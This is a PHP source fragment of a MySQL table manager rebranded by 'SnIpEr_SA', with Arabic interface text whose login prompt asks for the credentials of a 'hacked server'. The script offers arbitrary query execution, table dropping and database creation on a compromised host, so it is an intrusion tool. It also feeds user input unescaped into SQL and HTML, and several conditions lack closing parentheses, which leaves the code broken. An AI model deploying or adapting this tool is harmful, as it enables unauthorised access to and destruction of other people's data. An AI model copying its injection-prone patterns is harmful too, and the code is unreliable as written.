}elseif($ft=="INT" || $ft=="TINYINT"|| $ft=="SMALLINT"|| $ft=="MEDIUMINT"|| $ft=="BIGINT" || $ft=="INTEGER" {
echo"<input type=text name='leng[$i]' size=5 value=$l>";
}elseif($ft=="YEAR" ){
echo"<select name='leng[$i]'>";
echo"<option value='4'>4";
echo"<option value='2'>2";
echo"</select>\n";
}elseif($ft=="SET"|| $ft=="ENUM" {
echo"<input type=text name='leng[$i]' title='values eg \"a\", \"b\", \"c\"' value='' />";
}else{
echo"<input type=text name='leng[$i]' size=5 value=$l />\n";
}
}
//******************************Display Row ******************************
function displayrow($dbname, $tbl, $pk, $pkfield, $cpk, $row, $flds){
$pkfs="";
$hv="";
$hf="";
if($cpk >0 && !empty($pkfield)){
for($a = 0; $a < $cpk; $a++){
$fieldn = $pkfield[$a];
$hf .= "<input type=hidden name=pk[$a] value='$pkfield[$a]' />";
$hv .= "<input type=hidden name=pv[$a] value='$row[$fieldn]' />";
}
}else{ //No Primary Key so use all fields
$fields = mysql_list_fields($dbname, $tbl);
for($b = 0; $b < $flds; $b++){
$fie = mysql_field_name($fields, $b );
$hf .= "<input type=hidden name=pk[$b] value='$fie' />";
$hv .= "<input type=hidden name=pv[$b] value='$row[$b]' />";
}
}
echo"<tr>\n";
//edit Record
echo"<td><form action='$action' method=post>\n";
echo"<input type=hidden name=dbname value='$dbname' />\n";
echo"<input type=hidden name=tablename value='$tbl' />\n";
echo"<input type=hidden name=npkeys value='$cpk' />\n";
echo"$hf";
echo"$hv";
echo"<input class=sml type=submit name=edit value='Edit Record' />\n";
echo"</form></td>\n";
//Delete record
echo"<td><form action='$action' method=post>\n";
echo"<input type=hidden name=dbname value='$dbname' />\n";
echo"<input type=hidden name=tablename value='$tbl' />\n";
echo"<input type=hidden name=num value='$cpk' />\n";
echo"$hf";
echo"$hv";
echo"<input class=smldel type=submit name=delete value='Delete Record' />\n";
echo"</form></td>";
//Display all the columns.
for($col = 0; $col < $flds; $col ++){
$nslash = StripSlashes($row[$col]);
echo"<td>$nslash</td>";
}
echo"</tr>";
}
//***********************Remove Array Copy********************************
//removes copies from an array $x.
function removearraycopy($x){
$leng= count($x);
sort($x);
$farr=array();
for ($i =0; $i < $leng; $i++){
$flag=false;
for ($s =0; $s < count($farr); $s++){
if($x[$i]==$farr[$s]){
$flag=true;
}
}
if ($flag == false){
$farr[count($farr)] = $x[$i];
}
}
return $farr;
}
//***********************<< page position >>********************************
function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){
$pgs = $num_rows/$pagemax;
$pgs=ceil($pgs);
//round up the number of pages.
echo"<form action='$action' id='recspage' method='post' name='recspage'>\n";
echo"Total number of records $num_rows, displayed on $pgs pages of \n";
echo"<input type='text' name='pagemax' value='$pagemax' size='4' onchange='javascript:this.form.submit();' title='Type the number records to display on a page then click outside the box' /> \n";
echo"<input type='hidden' name='searchval' value='$searchval' />\n";
echo"<input type='hidden' name='tablename' value='$tablename' />\n";
echo"records per page.</form> \n";
$pagescrol="";
$sval="";
if($pgs >1){
$pagescrol="<div class='pagecount'>\n";
$nxt=$pg+1;
$bk=$pg-1;
$lst=$pgs;
$end=$lst-1;
$showp=$pg+1;
if($searchval !="" {
$sval="&searchval=$searchval";
}
$pagescrol .= "<form name='pages' id='pages' action='$action' method='get'>\n";
if($pg>=1){
$pagescrol .= " <a href='$action?tablename=$tablename&pg=0$sval' title='To first page'> 1 :<< </a> \n";
$pagescrol .= " <a href=''action'?tablename=$tablename&pg=$bk$sval' title='Back one page'> < </a> \n";
}
$pagescrol .= "<input type='text' name='pg' value='$showp' size='4' onchange='javascript:this.form.submit();' title='Type a page number then click outside the box' />\n";
$pagescrol .= "<input type='hidden' name='pback' value='true' />\n";
$pagescrol .= "<input type='hidden' name='searchval' value='$searchval' />\n";
$pagescrol .= "<input type='hidden' name='tablename' value='$tablename' />\n";
if($showp < $lst){
$pagescrol .= " <a href=''action'?tablename=$tablename&pg=$nxt$sval' title='Next page'> > </a> \n";
$pagescrol .= " <a href=''action'?tablename=$tablename&pg=$end$sval' title='To Last page'> >>: $lst</a> \n";
}
$pagescrol .= "</form>\n";
$pagescrol.="</div>\n";
}
return $pagescrol;
}
//*************Display Footer*************************
//Please don't remove or change.
function display_foot(){
echo"<div class='foot'>Version $version © ".date('Y')." <a style='text-decoration:none;' target='_blank' href='http://www.SnIpEr-SA.com'>SnIpEr_SA</a></div>";
}
//*************My Size*************************
//Returns the size of a table or database
function mysize($dbname, $tablename){
$like="";
$total="";
$t=0;
if($tablename !="" {
$like=" like '$tablename'";
}
$sql= "SHOW TABLE STATUS FROM $dbname $like";
//$result = mysql_query($sql);
$result=exequery($sql, $tablename, $dbname);
if($result){
while($rec = mysql_fetch_array($result)){
$t+=($rec['Data_length'] + $rec['Index_length']);
}
$total ="<span class='bytes'>$t bytes</span>";
}else{
$total="Unknowen";
}
return($total);
}
//**************************************
//DEBUG to show all being passed to the page
function showpassingvars(){
echo"Get: ";
foreach($_GET as $pram=>$value){
echo"$pram: $value, ";
}
echo"<br>Post: ";
foreach($_POST as $pram=>$value){
echo"$pram: $value, ";
}
echo"<br>Session: ";
foreach($_SESSION as $pram=>$value){
echo"$pram: $value, ";
}
}
echo"<html>\n";
echo"<meta http-equiv='Content-Type' content='text/html; charset=windows-1256'>\n";
echo"<head>\n";
echo"<title>سكربت الاتصال بقواعد البيانات</title>\n";
echo"<STYLE>
BODY
{
SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
}
tr {
BORDER-RIGHT: #cccccc ;
BORDER-TOP: #cccccc ;
BORDER-LEFT: #cccccc ;
BORDER-BOTTOM: #cccccc ;
color: #ffffff;
}
td {
BORDER-RIGHT: #cccccc ;
BORDER-TOP: #cccccc ;
BORDER-LEFT: #cccccc ;
BORDER-BOTTOM: #cccccc ;
color: #cccccc;
}
.table1 {
BORDER: 1;
BACKGROUND-COLOR: #000000;
color: #333333;
}
.td1 {
BORDER: 1;
font: 7pt tahoma;
color: #ffffff;
}
.tr1 {
BORDER: 1;
color: #cccccc;
}
table {
BORDER: #eeeeee outset;
BACKGROUND-COLOR: #000000;
color: #cccccc;
}
input {
BORDER-RIGHT: #990000 1 solid;
BORDER-TOP: #990000 1 solid;
BORDER-LEFT: #990000 1 solid;
BORDER-BOTTOM: #990000 1 solid;
BACKGROUND-COLOR: #333333;
font: 9pt tahoma;
color: #ffffff;
}
select {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #000000;
font: 9pt tahoma;
color: #CCCCCC;;
}
submit {
BORDER: buttonhighlight 1 outset;
BACKGROUND-COLOR: #272727;
width: 40%;
color: #cccccc;
}
textarea {
BORDER-RIGHT: #ffffff 1 solid;
BORDER-TOP: #999999 1 solid;
BORDER-LEFT: #999999 1 solid;
BORDER-BOTTOM: #ffffff 1 solid;
BACKGROUND-COLOR: #333333;
font: Fixedsys bold;
color: #ffffff;
}
BODY {
margin: 1;
color: #cccccc;
background-color: #000000;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>\n";
echo"<meta http-equiv='Content-Type' content='text/html charset=windows-1256'>";
echo"<title>سكربت الاتصال بقواعد البيانات</title>\n";
echo"<meta name='author' content='Tony Aslett'>";
echo"<meta name='title' content='PHP:MySQL Table Manager'>";
echo"<meta name='description' content='Table Manager for MySQL Database'>";
echo"<link rel='stylesheet' href='tmgrstyles.css' type='text/css'>\n";
echo"</head>\n";
echo"<body>\n";
$showall=true;
echo"<h2 class=h >سكربت الاتصال بقواعد البيانات</h2>\n";
//******************* Session Logon ***********************
if(isset($_POST['logout'])){
$_POST['dbname']="";
session_unset();
session_destroy();
}
if(isset($_POST['userid']) && isset($_POST['pword1'])){
$_SESSION['user'] = $_POST['userid'];
$_SESSION['password'] = $_POST['pword1'];
}
if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){
echo"<div align=center>";
echo"<h2>ادخل بيانات السيرفر المخترق</h2>\n";
If(!isset($dbnamearray)){
$dbnamearray="";
}
show_login($dbnamearray);
echo"</div>";
}else{
//show logout option.
echo"<div align=right>";
endsess();
echo"</div>";
}
//*****dbname
if(isset($_POST['dbname'])){
$dbname=$_POST['dbname'];
$_SESSION['dbname']= $_POST['dbname'];
}
//***** Host
if(isset($_POST['host'])){
$host=$_POST['host'];
$_SESSION['host']=$_POST['host'];
}
//******set tablename
if(isset($_GET['tablename']) ){
$tablename=$_GET['tablename'];
}elseif(isset($_POST['tablename'])){
$tablename=$_POST['tablename'];
}
//********** pagemax
if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){
$isnum=true;
for($o=0; $o<count($_POST['pagemax']); $o++){
if($_POST['pagemax'][$o]>9){
$isnum=false;
}
}
if($_POST['pagemax']>0 && $isnum){
$_SESSION['pagemax']=$_POST['pagemax'];
}
}
if(isset($_SESSION['pagemax'])){
$pagemax=$_SESSION['pagemax'];
}
//******** create a new Database ************
if(isset($_POST['cndb'])){
connectmysql();
$sql="create database $_POST[ndbname]";
$result=exequery($sql, " ", $_POST['ndbname']);
if ($result){
$_SESSION['dbname'] = $_POST['ndbname'];
$sql="Use $_POST[ndbname]";
$result=exequery($sql, " ", $_POST['ndbname']);
if($result){
echo"<h2>قاعدة جديدة $_SESSION[dbname] </h2>\n";
}
}
}
//*********************************************
if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post
//Databse names
showdb();
}
//************************ Choose DB *************
if(isset($_POST['dbname']) && $_POST['dbname']=="" {
showdb();
}
//**********
if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){
//*************************************
//connection
if (isset($_SESSION['dbname'])){
$dbsetname = $_SESSION['dbname'];
}elseif(isset($_POST['dbname'])){
$dbsetname = $_POST['dbname'];
$_SESSION['dbname'] = $_POST['dbname'];
}else{
$dbsetname = $_POST['dbna'];
$_SESSION['dbname'] = $_POST['dbna'];
}
}
//*************************** we have a DB set
if(isset($dbsetname) && $dbsetname!="" {
$link= connectmysql();
//echo"DBS: $dbsetname";
$conn = connectdb($dbsetname, $link);
//*********** Drop Table **************
if(isset($_POST['deltable'])){
$showall=false;
$tablename=$_POST['tablename'];
echo"<h1>!!! تحذير !!! <br>انت تحاول مسح هذا الجدول $tablename<br>";
echo"هل انت متاكد من القيام بالعمليه؟?</h1>\n";
$va="Drop $tablename";
goto($tablename, $dbname,$action, 'del', 'droptab', $va );
}
if(isset($_POST['droptab'])){
$tablename=$_POST['tablename'];
$dsql = "drop table $tablename";
$result=exequery($dsql, $tablename, $dbname);
unset($tablename); //="false";
unset($_POST['tablename']);
}
//*****************Write Your Own Query *****************
if(isset($_POST['wyoq'])){ //post
$value="الواجهه الرئيسيه للسكربت";
goto($tablename, $dbname, $action, 'but', 'start', $value );
echo"<form method='post'>\n";
echo"<input type='hidden' name='dbname' value=$dbname>\n";
//echo"<input type=text name='wyqota' width='500px' style='overflow-x:visible;'>\n";
echo"<textarea name='wyoqta' cols='60' rows='5' style='overflow-y:visible'></textarea>\n";
echo"<br><input class=but type=submit name='runquery' value='Execute Query'>\n";
echo"</form><br>\n";
}
if(isset($_POST['runquery'])){
$wyoqta = StripSlashes($_POST['wyoqta']);
$result=exequery($wyoqta, " ", " " ;
if(@mysql_num_rows($result) >0){
$numrows=mysql_num_rows($result);
$flds=mysql_num_fields($result);
echo"<table>";
for($r=0; $r < $numrows; $r++){
echo"<tr>";
$row=mysql_fetch_array($result);
for($col = 0; $col < $flds; $col ++){
$nslash = StripSlashes($row[$col]);
echo"<td>$nslash</td>";
}
echo"</tr>";
}
echo"</table>";
}elseif (mysql_affected_rows()){
echo" Number of Rows affected: ".mysql_affected_rows();
}else{
echo" Nothing returned from the query.";
}
}
// ****************List Tables***************************
if( ! isset($tablename) || $tablename==" " ){
$dbname=$_SESSION['dbname'];
$result = mysql_list_tables($_SESSION['dbname']);
$numtab = mysql_num_rows ($result);
if($numtab == 1){
$_SESSION['tablename'] =mysql_tablename($result, 0);
}
//***************** Buttons ******************************
if (isset($_POST['runquery'])){
$dbname=$_SESSION['dbname'];
$value="$dbname Start"; //Table Manager Start
goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
}elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query.
echo"<table width=40% border=0 align='left' >\n";
echo"<tr><td>";
$va="إنشاء جدول جديد";
goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va );
// echo"<a href=create.php class='crt'>Create new Table</a>\n";
echo"</td><td>";
$value="الواجهه الرئيسيه"; //Choose DB
goto("", "", $action, 'but', 'db', $value );
echo"</td>\n";
$value="Write Your Own Query";
goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
echo"</td></tr>";
echo"</table><br><br><br><br><div style='clear:both;'></div>";
echo"<table width=100% border=0 align='center' >\n";
for ($i =0; $i < $numtab; $i++) {
$tb_names[$i] = mysql_tablename($result, $i);
echo"<tr class='frow'><td align='center'>\n";
$va="عرض جدول * $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va );
echo"</td><td align='center' valign='middle'>\n";
$va="مسح جدول $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],$action, 'del', 'deltable', $va );
echo"</td><td align='center' valign='middle'>\n";
$va="Alter Table $tb_names[$i]";
goto($tb_names[$i], $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
echo"</td><td align='center' valign='middle'>\n";
searchtableform($tb_names[$i], $_SESSION['dbname']);
echo"</td><td>";
//Table size in bytes
echo mysize($_SESSION['dbname'],$tb_names[$i]);
echo"</td></tr>\n";
}//for
echo"</table>\n";
}
}else{ //tablename is set
//***************** menu *****************************************
echo"<table><tr class='frow'><td>\n";
$value="$_SESSION[dbname] Start"; //Ex Table Manager Start
goto($tablename, $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
|